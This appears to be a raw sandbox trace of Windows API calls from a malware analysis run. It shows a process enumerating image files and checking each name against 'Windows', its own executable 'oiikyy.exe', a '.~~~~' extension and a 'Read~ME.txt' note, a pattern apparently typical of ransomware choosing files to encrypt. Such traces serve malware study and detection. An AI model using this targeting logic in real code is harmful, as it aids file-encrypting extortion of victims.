	[0084.977] StrStrW (lpFirst="J0153398.WMF", lpSrch=".~~~~") returned 0x0
	[0084.977] lstrcmpW (lpString1="J0153398.WMF", lpString2="Read~ME.txt") returned -1
	[0084.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.977] GetCurrentThreadId () returned 0x618
	[0084.978] RtlWakeConditionVariable () returned 0x365f48
	[0084.978] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1
	[0084.978] lstrcmpiW (lpString1="J0153508.WMF", lpString2="Windows") returned -1
	[0084.978] lstrcmpW (lpString1="J0153508.WMF", lpString2="oiikyy.exe") returned -1
	[0084.978] StrStrW (lpFirst="J0153508.WMF", lpSrch=".~~~~") returned 0x0
	[0084.978] lstrcmpW (lpString1="J0153508.WMF", lpString2="Read~ME.txt") returned -1
	[0084.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.978] GetCurrentThreadId () returned 0x618
	[0084.978] RtlWakeConditionVariable () returned 0x365f48
	[0084.978] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1
	[0084.978] lstrcmpiW (lpString1="J0153514.WMF", lpString2="Windows") returned -1
	[0084.978] lstrcmpW (lpString1="J0153514.WMF", lpString2="oiikyy.exe") returned -1
	[0084.978] StrStrW (lpFirst="J0153514.WMF", lpSrch=".~~~~") returned 0x0
	[0084.978] lstrcmpW (lpString1="J0153514.WMF", lpString2="Read~ME.txt") returned -1
	[0084.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.978] GetCurrentThreadId () returned 0x618
	[0084.978] RtlWakeConditionVariable () returned 0x365f48
	[0084.978] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1
	[0084.978] lstrcmpiW (lpString1="J0153516.WMF", lpString2="Windows") returned -1
	[0084.978] lstrcmpW (lpString1="J0153516.WMF", lpString2="oiikyy.exe") returned -1
	[0084.978] StrStrW (lpFirst="J0153516.WMF", lpSrch=".~~~~") returned 0x0
	[0084.978] lstrcmpW (lpString1="J0153516.WMF", lpString2="Read~ME.txt") returned -1
	[0084.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.978] GetCurrentThreadId () returned 0x618
	[0084.978] RtlWakeConditionVariable () returned 0x365f48
	[0084.978] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1
	[0084.978] lstrcmpiW (lpString1="J0153518.WMF", lpString2="Windows") returned -1
	[0084.978] lstrcmpW (lpString1="J0153518.WMF", lpString2="oiikyy.exe") returned -1
	[0084.979] StrStrW (lpFirst="J0153518.WMF", lpSrch=".~~~~") returned 0x0
	[0084.979] lstrcmpW (lpString1="J0153518.WMF", lpString2="Read~ME.txt") returned -1
	[0084.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.979] GetCurrentThreadId () returned 0x618
	[0084.979] RtlWakeConditionVariable () returned 0x365f48
	[0084.979] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1
	[0084.979] lstrcmpiW (lpString1="J0156537.WMF", lpString2="Windows") returned -1
	[0084.979] lstrcmpW (lpString1="J0156537.WMF", lpString2="oiikyy.exe") returned -1
	[0084.979] StrStrW (lpFirst="J0156537.WMF", lpSrch=".~~~~") returned 0x0
	[0084.979] lstrcmpW (lpString1="J0156537.WMF", lpString2="Read~ME.txt") returned -1
	[0084.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.979] GetCurrentThreadId () returned 0x618
	[0084.979] RtlWakeConditionVariable () returned 0x365f48
	[0084.979] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1
	[0084.979] lstrcmpiW (lpString1="J0157167.WMF", lpString2="Windows") returned -1
	[0084.979] lstrcmpW (lpString1="J0157167.WMF", lpString2="oiikyy.exe") returned -1
	[0084.979] StrStrW (lpFirst="J0157167.WMF", lpSrch=".~~~~") returned 0x0
	[0084.979] lstrcmpW (lpString1="J0157167.WMF", lpString2="Read~ME.txt") returned -1
	[0084.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.979] GetCurrentThreadId () returned 0x618
	[0084.979] RtlWakeConditionVariable () returned 0x365f48
	[0084.979] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1
	[0084.979] lstrcmpiW (lpString1="J0157177.WMF", lpString2="Windows") returned -1
	[0084.979] lstrcmpW (lpString1="J0157177.WMF", lpString2="oiikyy.exe") returned -1
	[0084.979] StrStrW (lpFirst="J0157177.WMF", lpSrch=".~~~~") returned 0x0
	[0084.979] lstrcmpW (lpString1="J0157177.WMF", lpString2="Read~ME.txt") returned -1
	[0084.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.979] GetCurrentThreadId () returned 0x618
	[0084.980] RtlWakeConditionVariable () returned 0x365f48
	[0084.980] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1
	[0084.980] lstrcmpiW (lpString1="J0157191.WMF", lpString2="Windows") returned -1
	[0084.980] lstrcmpW (lpString1="J0157191.WMF", lpString2="oiikyy.exe") returned -1
	[0084.980] StrStrW (lpFirst="J0157191.WMF", lpSrch=".~~~~") returned 0x0
	[0084.980] lstrcmpW (lpString1="J0157191.WMF", lpString2="Read~ME.txt") returned -1
	[0084.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.980] GetCurrentThreadId () returned 0x618
	[0084.980] RtlWakeConditionVariable () returned 0x365f48
	[0084.980] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1
	[0084.980] lstrcmpiW (lpString1="J0157831.WMF", lpString2="Windows") returned -1
	[0084.980] lstrcmpW (lpString1="J0157831.WMF", lpString2="oiikyy.exe") returned -1
	[0084.980] StrStrW (lpFirst="J0157831.WMF", lpSrch=".~~~~") returned 0x0
	[0084.980] lstrcmpW (lpString1="J0157831.WMF", lpString2="Read~ME.txt") returned -1
	[0084.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.980] GetCurrentThreadId () returned 0x618
	[0084.980] RtlWakeConditionVariable () returned 0x365f48
	[0084.980] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1
	[0084.980] lstrcmpiW (lpString1="J0158071.WMF", lpString2="Windows") returned -1
	[0084.980] lstrcmpW (lpString1="J0158071.WMF", lpString2="oiikyy.exe") returned -1
	[0084.980] StrStrW (lpFirst="J0158071.WMF", lpSrch=".~~~~") returned 0x0
	[0084.980] lstrcmpW (lpString1="J0158071.WMF", lpString2="Read~ME.txt") returned -1
	[0084.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.980] GetCurrentThreadId () returned 0x618
	[0084.981] RtlWakeConditionVariable () returned 0x365f48
	[0084.981] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1
	[0084.981] lstrcmpiW (lpString1="J0158477.WMF", lpString2="Windows") returned -1
	[0084.981] lstrcmpW (lpString1="J0158477.WMF", lpString2="oiikyy.exe") returned -1
	[0084.981] StrStrW (lpFirst="J0158477.WMF", lpSrch=".~~~~") returned 0x0
	[0084.981] lstrcmpW (lpString1="J0158477.WMF", lpString2="Read~ME.txt") returned -1
	[0084.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.981] GetCurrentThreadId () returned 0x618
	[0084.981] RtlWakeConditionVariable () returned 0x365f48
	[0084.981] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1
	[0085.003] lstrcmpiW (lpString1="J0160590.WMF", lpString2="Windows") returned -1
	[0085.003] lstrcmpW (lpString1="J0160590.WMF", lpString2="oiikyy.exe") returned -1
	[0085.003] StrStrW (lpFirst="J0160590.WMF", lpSrch=".~~~~") returned 0x0
	[0085.003] lstrcmpW (lpString1="J0160590.WMF", lpString2="Read~ME.txt") returned -1
	[0085.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.003] GetCurrentThreadId () returned 0x618
	[0085.004] RtlWakeConditionVariable () returned 0x365f48
	[0085.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1
	[0085.004] lstrcmpiW (lpString1="J0164153.JPG", lpString2="Windows") returned -1
	[0085.004] lstrcmpW (lpString1="J0164153.JPG", lpString2="oiikyy.exe") returned -1
	[0085.004] StrStrW (lpFirst="J0164153.JPG", lpSrch=".~~~~") returned 0x0
	[0085.004] lstrcmpW (lpString1="J0164153.JPG", lpString2="Read~ME.txt") returned -1
	[0085.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.004] GetCurrentThreadId () returned 0x618
	[0085.004] RtlWakeConditionVariable () returned 0x365f48
	[0085.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1
	[0085.004] lstrcmpiW (lpString1="J0168644.WMF", lpString2="Windows") returned -1
	[0085.004] lstrcmpW (lpString1="J0168644.WMF", lpString2="oiikyy.exe") returned -1
	[0085.004] StrStrW (lpFirst="J0168644.WMF", lpSrch=".~~~~") returned 0x0
	[0085.004] lstrcmpW (lpString1="J0168644.WMF", lpString2="Read~ME.txt") returned -1
	[0085.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.004] GetCurrentThreadId () returned 0x618
	[0085.004] RtlWakeConditionVariable () returned 0x365f48
	[0085.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1
	[0085.004] lstrcmpiW (lpString1="J0171685.WMF", lpString2="Windows") returned -1
	[0085.004] lstrcmpW (lpString1="J0171685.WMF", lpString2="oiikyy.exe") returned -1
	[0085.004] StrStrW (lpFirst="J0171685.WMF", lpSrch=".~~~~") returned 0x0
	[0085.004] lstrcmpW (lpString1="J0171685.WMF", lpString2="Read~ME.txt") returned -1
	[0085.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.004] GetCurrentThreadId () returned 0x618
	[0085.004] RtlWakeConditionVariable () returned 0x365f48
	[0085.004] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1
	[0085.004] lstrcmpiW (lpString1="J0171847.WMF", lpString2="Windows") returned -1
	[0085.004] lstrcmpW (lpString1="J0171847.WMF", lpString2="oiikyy.exe") returned -1
	[0085.005] StrStrW (lpFirst="J0171847.WMF", lpSrch=".~~~~") returned 0x0
	[0085.005] lstrcmpW (lpString1="J0171847.WMF", lpString2="Read~ME.txt") returned -1
	[0085.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.005] GetCurrentThreadId () returned 0x618
	[0085.005] RtlWakeConditionVariable () returned 0x365f48
	[0085.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1
	[0085.005] lstrcmpiW (lpString1="J0172035.WMF", lpString2="Windows") returned -1
	[0085.005] lstrcmpW (lpString1="J0172035.WMF", lpString2="oiikyy.exe") returned -1
	[0085.005] StrStrW (lpFirst="J0172035.WMF", lpSrch=".~~~~") returned 0x0
	[0085.005] lstrcmpW (lpString1="J0172035.WMF", lpString2="Read~ME.txt") returned -1
	[0085.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.005] GetCurrentThreadId () returned 0x618
	[0085.005] RtlWakeConditionVariable () returned 0x365f48
	[0085.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1
	[0085.005] lstrcmpiW (lpString1="J0172067.WMF", lpString2="Windows") returned -1
	[0085.005] lstrcmpW (lpString1="J0172067.WMF", lpString2="oiikyy.exe") returned -1
	[0085.005] StrStrW (lpFirst="J0172067.WMF", lpSrch=".~~~~") returned 0x0
	[0085.005] lstrcmpW (lpString1="J0172067.WMF", lpString2="Read~ME.txt") returned -1
	[0085.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.005] GetCurrentThreadId () returned 0x618
	[0085.005] RtlWakeConditionVariable () returned 0x365f48
	[0085.005] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1
	[0085.005] lstrcmpiW (lpString1="J0172193.WMF", lpString2="Windows") returned -1
	[0085.005] lstrcmpW (lpString1="J0172193.WMF", lpString2="oiikyy.exe") returned -1
	[0085.005] StrStrW (lpFirst="J0172193.WMF", lpSrch=".~~~~") returned 0x0
	[0085.005] lstrcmpW (lpString1="J0172193.WMF", lpString2="Read~ME.txt") returned -1
	[0085.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.005] GetCurrentThreadId () returned 0x618
	[0085.005] RtlWakeConditionVariable () returned 0x365f48
	[0085.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1
	[0085.006] lstrcmpiW (lpString1="J0174315.WMF", lpString2="Windows") returned -1
	[0085.006] lstrcmpW (lpString1="J0174315.WMF", lpString2="oiikyy.exe") returned -1
	[0085.006] StrStrW (lpFirst="J0174315.WMF", lpSrch=".~~~~") returned 0x0
	[0085.006] lstrcmpW (lpString1="J0174315.WMF", lpString2="Read~ME.txt") returned -1
	[0085.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.006] GetCurrentThreadId () returned 0x618
	[0085.006] RtlWakeConditionVariable () returned 0x365f48
	[0085.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1
	[0085.006] lstrcmpiW (lpString1="J0174635.WMF", lpString2="Windows") returned -1
	[0085.006] lstrcmpW (lpString1="J0174635.WMF", lpString2="oiikyy.exe") returned -1
	[0085.006] StrStrW (lpFirst="J0174635.WMF", lpSrch=".~~~~") returned 0x0
	[0085.006] lstrcmpW (lpString1="J0174635.WMF", lpString2="Read~ME.txt") returned -1
	[0085.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.006] GetCurrentThreadId () returned 0x618
	[0085.006] RtlWakeConditionVariable () returned 0x365f48
	[0085.006] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1
	[0085.006] lstrcmpiW (lpString1="J0174639.WMF", lpString2="Windows") returned -1
	[0085.007] lstrcmpW (lpString1="J0174639.WMF", lpString2="oiikyy.exe") returned -1
	[0085.007] StrStrW (lpFirst="J0174639.WMF", lpSrch=".~~~~") returned 0x0
	[0085.007] lstrcmpW (lpString1="J0174639.WMF", lpString2="Read~ME.txt") returned -1
	[0085.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.007] GetCurrentThreadId () returned 0x618
	[0085.007] RtlWakeConditionVariable () returned 0x365f48
	[0085.007] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1
	[0085.007] lstrcmpiW (lpString1="J0174952.JPG", lpString2="Windows") returned -1
	[0085.007] lstrcmpW (lpString1="J0174952.JPG", lpString2="oiikyy.exe") returned -1
	[0085.007] StrStrW (lpFirst="J0174952.JPG", lpSrch=".~~~~") returned 0x0
	[0085.007] lstrcmpW (lpString1="J0174952.JPG", lpString2="Read~ME.txt") returned -1
	[0085.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.007] GetCurrentThreadId () returned 0x618
	[0085.007] RtlWakeConditionVariable () returned 0x365f48
	[0085.007] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1
	[0085.007] lstrcmpiW (lpString1="J0175361.JPG", lpString2="Windows") returned -1
	[0085.007] lstrcmpW (lpString1="J0175361.JPG", lpString2="oiikyy.exe") returned -1
	[0085.007] StrStrW (lpFirst="J0175361.JPG", lpSrch=".~~~~") returned 0x0
	[0085.007] lstrcmpW (lpString1="J0175361.JPG", lpString2="Read~ME.txt") returned -1
	[0085.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.007] GetCurrentThreadId () returned 0x618
	[0085.007] RtlWakeConditionVariable () returned 0x365f48
